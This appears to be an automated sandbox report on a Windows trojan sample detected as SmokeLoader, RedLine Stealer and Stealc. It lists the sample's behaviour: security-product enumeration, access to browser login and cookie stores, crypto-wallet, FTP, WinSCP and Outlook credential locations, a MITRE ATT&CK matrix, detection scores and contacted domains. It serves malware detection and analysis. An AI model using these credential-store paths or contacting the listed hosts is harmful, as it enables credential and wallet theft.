Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\6719.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6071.exe

Code function: 15_2_0040C643 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

15_2_0040C643

Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: 6719.exe, 00000010.00000002.2252009229.00000000098B3000.00000004.00000020.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2244974795.0000000008630000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 23.2.9B3D.exe.f7d000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.9B3D.exe.f7d000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.6719.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.9B3D.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2186967379.0000000000D33000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2019445023.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1889830261.0000000000F7D000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2021331170.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6719.exe PID: 7880, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 40.2.Adaptation.pif.4028d90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.409edd8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.40841d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.40841d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.4028d90.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.2537868096.0000000000511000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.2329513284.0000000005191000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2542428168.000000000401D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2541354417.0000000002176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2542518309.0000000004054000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.BRvptajioG.exe.2b40e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.decegfu.2c50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.decegfu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.decegfu.2c40e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.85CF.exe.a50e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.85CF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.BRvptajioG.exe.4700000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BRvptajioG.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.85CF.exe.a60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1297247950.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1638079911.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1914643611.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: 6071.exe, 00000016.00000003.2402556744.0000000004039000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: r electroncash BcYhtE72gziJrnt+KgtHZWnEfjc 2038-01-01 00:00:00 193.135.10.219 59999 0
Source: 6719.exe, 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: 6719.exe, 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.walletLR
Source: 6719.exe, 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR
Source: 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: 6719.exe, 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q9C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Source: Yara match	File source: 40.2.Adaptation.pif.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2021331170.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2021331170.00000000071DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6719.exe PID: 7880, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 23.2.9B3D.exe.f7d000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.9B3D.exe.f7d000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.6719.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.9B3D.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2186967379.0000000000D33000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2019445023.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1889830261.0000000000F7D000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2021331170.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6719.exe PID: 7880, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 40.2.Adaptation.pif.4028d90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.409edd8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.40841d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.40841d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.4028d90.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Adaptation.pif.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.2537868096.0000000000511000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.2329513284.0000000005191000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2542428168.000000000401D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2541354417.0000000002176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2542518309.0000000004054000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.BRvptajioG.exe.2b40e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.decegfu.2c50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.decegfu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.decegfu.2c40e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.85CF.exe.a50e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.85CF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.BRvptajioG.exe.4700000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BRvptajioG.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.85CF.exe.a60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1297247950.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1638079911.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1914643611.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Exfiltration Over Alternative Protocol	14 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	812 Process Injection	31 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	13 Software Packing	Security Account Manager	126 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	1151 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	Traffic Duplication	5 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Virtualization/Sandbox Evasion	SSH	Keylogging	Scheduled Transfer	146 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	751 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	812 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Regsvr32	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BRvptajioG.exe	78%	ReversingLabs	Win32.Trojan.Privateloader
BRvptajioG.exe	74%	Virustotal		Browse
BRvptajioG.exe	100%	Avira	HEUR/AGEN.1312670
BRvptajioG.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\6B8F.dll	100%	Avira	HEUR/AGEN.1300269
C:\ProgramData\Drivers\csrss.exe	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\Temp\5833.exe	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\Temp\85CF.exe	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\Temp\6071.exe	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\Temp\6719.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6B8F.dll	100%	Joe Sandbox ML
C:\ProgramData\Drivers\csrss.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5833.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\85CF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6071.exe	100%	Joe Sandbox ML
C:\ProgramData\Drivers\csrss.exe	70%	ReversingLabs	Win32.Trojan.Smokeloader
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\5833.exe	78%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\6071.exe	70%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\6719.exe	30%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\6B8F.dll	27%	ReversingLabs
C:\Users\user\AppData\Roaming\decegfu	78%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Roaming\jtcegfu	78%	ReversingLabs	Win32.Trojan.Smokeloader

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
lightseinsteniki.org	22%	Virustotal	Browse
wisnuwardhana.ac.id	0%	Virustotal	Browse
www.domeinplein.nl	0%	Virustotal	Browse
ape4jewelry.com	0%	Virustotal	Browse
lrrcenter.org	0%	Virustotal	Browse
mail.hope-mail.com	0%	Virustotal	Browse
creativepursuitsco.com	0%	Virustotal	Browse
databul.com.tr	0%	Virustotal	Browse
www.creativepursuitsco.com	0%	Virustotal	Browse
takin-co.ir	0%	Virustotal	Browse
b-rose.de	0%	Virustotal	Browse
trb61.com	0%	Virustotal	Browse
vanweissenbruch.nl	0%	Virustotal	Browse
airanatoliava.org	0%	Virustotal	Browse
zlig.com	0%	Virustotal	Browse
maksimp.com	0%	Virustotal	Browse
stualialuyastrelia.net	24%	Virustotal	Browse
yelena.strokin.info	0%	Virustotal	Browse
furnscales.com	0%	Virustotal	Browse
untitled.ws	0%	Virustotal	Browse
mwbgw1.ocn.ad.jp	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://tonimiuyaytre.org/	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tyiuiunuewqy.org/	0%	URL Reputation	safe
http://liuliuoumumy.org/	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://yekai.com/phpMyAdmin/	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://airanatoliava.org/phpMyAdmin/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6ResponseD	0%	Avira URL Cloud	safe
